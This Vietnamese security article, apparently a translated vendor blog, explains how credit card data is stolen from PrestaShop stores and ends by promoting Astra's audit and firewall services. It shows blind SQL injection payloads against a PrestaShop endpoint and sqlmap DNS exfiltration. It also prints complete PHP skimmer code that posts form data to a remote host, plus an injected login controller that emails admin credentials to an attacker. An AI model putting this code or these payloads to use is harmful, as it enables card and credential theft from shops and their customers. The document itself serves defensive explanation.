Computer >> Hướng Dẫn Máy Tính >  >> Kết Nối Mạng >> An Ninh Mạng

Bảo vệ cửa hàng PrestaShop khỏi đánh cắp thẻ tín dụng: Khắc phục nhanh tấn công mã độc

Giao dịch trực tuyến chắc chắn tăng thêm sự thuận tiện cho kinh doanh. Nhưng với sự thuận tiện đó đi kèm trách nhiệm bảo mật. Cửa hàng thương mại điện tử chạy PrestaShop chứa nhiều thông tin nhạy cảm. Bao gồm chi tiết thẻ tín dụng của người dùng. Do đó dữ liệu này làm cho nó trở thành mục tiêu hấp dẫn cho kẻ tấn công. PrestaShop credit card hijack (Đánh cắp thẻ tín dụng PrestaShop) đang tăng do phổ biến của giải pháp thương mại điện tử này. Có thể quy cho sự dễ dàng cài đặt và bảo trì. Theo sách PrestaShop 1.5 Beginner's Guide,

Triệu chứng PrestaShop Credit Card Hijack

PrestaShop credit card hijack có thể thực hiện theo nhiều cách. Có thể là script độc hại trên server hoặc dòng JavaScript. Thường là SQL injection hoặc trang lừa đảo (phishing). Sự đa dạng này làm cho việc phát hiện khó khăn. Tuy nhiên, một vài dấu hiệu có thể tiết lộ tấn công:

  • Bảng database không xác định trước như Sqlmap xuất hiện.
  • Tài khoản admin không xác định xuất hiện trên bảng điều khiển.
  • Thẻ tín dụng khách hàng bị đánh cắp
  • Đăng nhập bảng điều khiển từ IP không xác định.
  • Trang mới không xác định xuất hiện trên trang web.
  • Trang web chuyển hướng đến tên miền không xác định.
  • Phân tích gói Wireshark cho thấy dữ liệu ra ngoài đến tên miền đáng ngờ.
  • Khách hàng khiếu nại vấn đề liên quan thanh toán.
  • Nhật ký server cho thấy cố gắng brute force hoặc SQL injection.
Bảo vệ cửa hàng PrestaShop khỏi đánh cắp thẻ tín dụng: Khắc phục nhanh tấn công mã độc

Chi tiết thẻ tín dụng bị đánh cắp từ cửa hàng PrestaShop? Nhắn tin cho chúng tôi qua widget chat. Chúng tôi sẽ vui lòng giúp bạn. Khắc phục trang PrestaShop ngay.

Nguyên nhân PrestaShop Credit Card Hijack

SQL Injection trong PrestaShop

SQL injection có thể xâm phạm database cửa hàng PrestaShop. Nguyên nhân chính của SQLi là thiếu làm sạch đầu vào (input sanitization). Nhà phát triển thường không triển khai thực hành mã hóa an toàn. Kết quả, lỗ hổng như SQLi và XSS xuất hiện trong code. Exploit SQLi zero-day cho PrestaShop được công bố 2014. Thành phần dễ bị tấn công là id_manufacturer (id_manifacturer). URL hoàn chỉnh như sau.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection]

Trong URL sau, câu lệnh có thể chèn sau id_manufacturer. Thêm nữa, đây là dạng Blind SQLi. Vì vậy dữ liệu chỉ trích xuất được dạng boolean. Đôi khi nhà phát triển ẩn lỗi nội bộ. Điều này để tránh kẻ tấn công khám phá lỗ hổng. Tuy nhiên, nếu server vẫn thực thi câu lệnh thì dữ liệu có thể trích xuất dạng boolean. Đây là trường hợp blind SQLi. Tuy nhiên, để đọc nội dung database cần nhiều yêu cầu. Làm khai thác thủ công tốn thời gian. Để kiểm tra blind SQLi.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1

Trước tiên xem câu lệnh này thực thi true. Thứ hai, câu lệnh =3 and 1=2 thực thi false. Thì chắc chắn là blind SQLi. Tuy nhiên, đôi khi có thể là time-based blind SQLi. Trong tình huống đó, server给出 boolean feedback sau một thời gian. Ví dụ.

https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)

Ở đây người dùng phải chờ 10 giây. Sau đó, server gửi phản hồi true/false dựa trên truy vấn.

Khai thác tự động (Automatic Exploitation)

Khai thác có vẻ như nhiệm vụ mệt mỏi. Nhưng có công cụ tự động. Sqlmap có thể khai thác dễ dàng cho kẻ tấn công. Sau đó, kẻ tấn công có thể đọc bảng ps_payment_cc. Bảng này có cột id_order_payment, card_number, card_brand, card_expiration. Do đó đánh cắp toàn bộ chi tiết thẻ đã lưu. Nếu bảng lớn, kẻ tấn công có thể đẩy nhanh tấn công dùng truy vấn DNS. Vì Sqlmap có tùy chọn --dns-domain=. Do đó kẻ tấn công có thể trích xuất dữ liệu qua DNS query thay vì output time-based chậm. Tuy nhiên, kẻ tấn công phải kiểm soát máy chủ đăng ký làm DNS server. Do đó quan trọng theo dõi truy vấn DNS ra khỏi server. Tuy nhiên, khuyến khích KHÔNG lưu thông tin thẻ tín dụng người dùng trên server. Trừ khi admin thực hiện kiểm toán bảo mật PrestaShop và pentesting định kỳ. Dù tất cả có thể tránh được nếu nhà phát triển dùng prepared statements!

PrestaShop Credit Card Malware (Mã độc thẻ tín dụng PrestaShop)

Đôi khi hack thẻ tín dụng PrestaShop do script độc hại trên trang. Kẻ tấn công trước khai thác trang bằng kỹ thuật đã biết. Hầu hết là Top 10 OWASP. Sau đó malware được cài đặt. Malware này trước kết nối database. Từ database, nó đánh cắp info thẻ tín dụng. Thường nằm trong bảng ps_payment_cc.

Bảo vệ cửa hàng PrestaShop khỏi đánh cắp thẻ tín dụng: Khắc phục nhanh tấn công mã độc

Trên là đoạn code script đánh cắp thẻ tín dụng PrestaShop. Script kết nối database trước. Sau đó đánh cắp info thẻ từ database.

Xem thêm một malware thẻ tín dụng nhiễm file /vendor/composer/autoload_real.php

class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }
function get()
{
if($this->search($this->data[0])===FALSE) return;
foreach($this->data AS $i => $v)
{
$v = $this->search($v);
$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);
}
$this->set();
}
function set()
{
$data = implode('|', $this->data);
$data = $this->crypt('SiF').'|'.$data;
if(!$this->encrypt) $data = base64_encode($data);
$data = $this->post_fgc($data);
if($this->test) $this->out($data);
}
function get_fgc($data)
{
$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);
if($this->test) $url .= '&test';
return file_get_contents($url);
}
function post_fgc($data)
{
$data = array($this->conf['param'] => $data);
$options = array(
'http' => array(
'header' => "Content-type: application/x-www-form-urlencoded\r\n",
'method' => 'POST',
'content' => http_build_query($data)
)
);
$context = stream_context_create($options);
return file_get_contents($this->conf['url'], false, $context);
}
function search($key)
{
$f = $this->in;
if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a))
{
foreach($a[1] AS $v)
{
if(is_array($f) && isset($f[$v])) $f = $f[$v];
else return FALSE;
}
return $f;
}
return FALSE;
}
function crypt($s)
{
if(function_exists('openssl_public_encrypt'))
{
$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";
if(@openssl_public_encrypt($s, $code, $key))
{
$this->encrypt = TRUE;
return base64_encode($code);
}
}
return $s;
}
function out($s)
{
echo $s;
exit;
}
}
new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'

Script độc hại là giai đoạn thứ hai của tấn công. Vì, giai đoạn đầu, một số lỗ hổng đã biết bị khai thác. Sau đó script đánh cắp thông tin đăng nhập được tải lên. Do đó, khuyến khích không lưu dữ liệu trong database. Đối với cửa hàng thương mại điện tử, khuyến khích thực hiện kiểm toán bảo mật và pentesting để tìm tất cả cách mã độc có thể chèn vào trang web.

Bảo vệ cửa hàng PrestaShop khỏi đánh cắp thẻ tín dụng: Khắc phục nhanh tấn công mã độc

Lừa đảo (Phishing)

Lừa đảo có thể dùng thực hiện đánh cắp thẻ tín dụng PrestaShop quy mô lớn. Kẻ tấn công cơ bản tạo trang đăng nhập giả. Người dùng có thể không phân biệt. Do đó họ có thể tiết lộ thông tin nhạy cảm dẫn đến hack thẻ tín dụng PrestaShop. Có nhiều cách trang này được tạo. Một số là:

  • XSS: Kẻ tấn công dùng XSS tải script độc hại từ tên miền độc hại. Script này ghi đè nội dung trang gốc. Trang bị thay bằng trang đăng nhập lừa đảo. Sau đó người dùng gửi info trên trang đó. Trang lừa đảo chuyển info đến tên miền do kẻ tấn công kiểm soát.
  • SQLi: Kẻ tấn công có thể lấy reverse shell dùng SQL injection. Dùng reverse shell này, kẻ tấn công có thể thay trang thanh toán gốc bằng trang lừa đảo.
  • FTP: Cổng FTP mở ra internet. Sau đó kẻ tấn công có thể lấy thông tin đăng nhập. Sau đó trang lừa đảo được tạo.
  • Zero-day: Kẻ tấn công có thể lấy reverse shell do lỗ hổng zero-day. Vì cài đặt cũ. Do đó tạo trang thanh toán giả. Dẫn đến PrestaShop credit card hijack!

Thông tin đăng nhập yếu (Weak Credentials)

Thông tin đăng nhập yếu là lý do chính đằng sau PrestaShop credit card hijack. Mật khẩu yếu có thể bẻ khóa bằng brute force. Khi kẻ tấn công có mật khẩu, bảng điều khiển mở. Từ đây một số kẻ tấn công áp dụng cách khác. Thay vì chờ thụ động và thu thập info đăng ký từ database. Kẻ tấn công chèn trang với code gửi info động. Ví dụ, một loại malware chèn code vào file /controllers/admin/AdminLoginController.php. Mã độc thường trông như sau.

public function processLogin()
   {
       /* Check fields validity */
       $passwd = trim(Tools::getValue('passwd'));
       $email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);

Ở đây code vài dòng đầu thu thập tất cả biến. Sau đó hàm PHP mail gửi đến tài khoản kẻ tấn công. Trong trường hợp này, là admin@wsxdn.com. Các tham số gửi:

  • To: Chứa email ID kẻ tấn công nhận dữ liệu. Trong trường hợp này, admin@wsxdn.com.
  • Subject: Chứa thông báo, panel admin prestashop www.infectedDomain.com.
  • Header: Phần header chứa thông báo, hacked <admin@wsxdn.com>.
  • Phần tin nhắn 1: Chứa tất cả info nhạy cảm. Bao gồm tên miền bị nhiễm. Trong trường hợp https://www.attackeddomain.com. Sau đó URI là /admins/ajax-tab.php?rand=1470989908670&up=hous. Theo sau email admin@wsxdn.comn.com. Và cuối cùng mật khẩu. Có thể bất kỳ chuỗi ngẫu nhiên người dùng nhập. Cuối cùng text ngẫu nhiên by bajatax — sniper :v.
  • Phần tin nhắn 2: Phần 2 chứa đường dẫn cục bộ file bị nhiễm. Trong trường hợp, /usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php.

Tuy nhiên sau phát hiện malware, Google chặn tài khoản Gmail của kẻ tấn công. Sau đó biến thể mới của malware xuất hiện. Đầu tiên kiểm tra có thể gửi mail đến kẻ tấn công không. Nếu không, chi tiết được lưu file cục bộ tên uspas.txt. Bước tiếp theo, kẻ tấn công tương tự lấy info thẻ tín dụng như info đăng ký. Kết thúc PrestaShop Credit card hijack!

Kiểm toán bảo mật PrestaShop và Tường lửa

Kiểm toán bảo mật Astra (Astra Security Audit)

Để làm an toàn cửa hàng PrestaShop, quan trọng tìm lỗ hổng. Chỉ có thể tiết lộ qua kiểm toán bảo mật hoàn chỉnh. Có nhiều giải pháp trên thị trường. Như Astra cung cấp.

Hợp tác với Astra sẽ cung cấp dịch vụ sau:

  1. Lỗ hổng phổ biến như SQLi, XSS, Spam v.v. và 80+ khác.
  2. Đánh giá lỗ hổng và Thử nghiệm xâm nhập (VAPT)
  3. Cũng phát hiện lỗi thao tác giá. Hơn nữa, tìm lỗi logic nghiệp vụ.
  4. Phân tích Code Tĩnh & Động (Static & Dynamic Code Analysis)
  5. Hỗ trợ kỹ thuật vá lỗi bảo mật tìm thấy
  6. Bảng điều khiển đám mây cộng tác báo cáo lỗ hổng
  7. Truy cập công cụ/API bảo mật
  8. Tư vấn Thực hành tốt nhất Bảo mật Web
  9. Khám phá cổng mở ra internet.
  10. Tìm một số cấu hình sai server đã biết.
  11. Phát hiện Clickjacking.
  12. Xác thực & Phân quyền bị lỡ (Broken Authentication & Authorization).
  13. Định vị bug Leo thang đặc quyền (Privilege Escalation).
  14. Lỗ hổng plugin bên thứ ba và nhiều hơn.

Các bài kiểm tra được tùy chỉnh cao và phù hợp theo trang web và yêu cầu.

Phạm vi kiểm tra bảo mật điển hình:

  1. Ứng dụng Web Khách hàng
  2. Xử lý & Tích hợp Thanh toán
  3. Cổng Quản trị (Administration Portal)
  4. API và Dịch vụ Web

Tường lửa Astra (Astra Firewall)

Tường lửa PrestaShop đảm bảo chặn mọi truy cập trái phép vào cửa hàng PrestaShop. Tất cả traffic đến được quét. Do đó yêu cầu độc hại bị loại bỏ. Tường lửa Astra quét malware tải lên. Mọi cố gắng tải script đánh cắp thẻ tín dụng PrestaShop bị chặn. Astra cũng theo dõi hoạt động đăng nhập. Vì vậy nếu bảng điều khiển bị xâm phạm, người dùng được thông báo. Bên cạnh đó, Astra đảm bảo cài đặt cập nhật. Do đó, nó cung cấp bảo vệ 24/7 cho cửa hàng!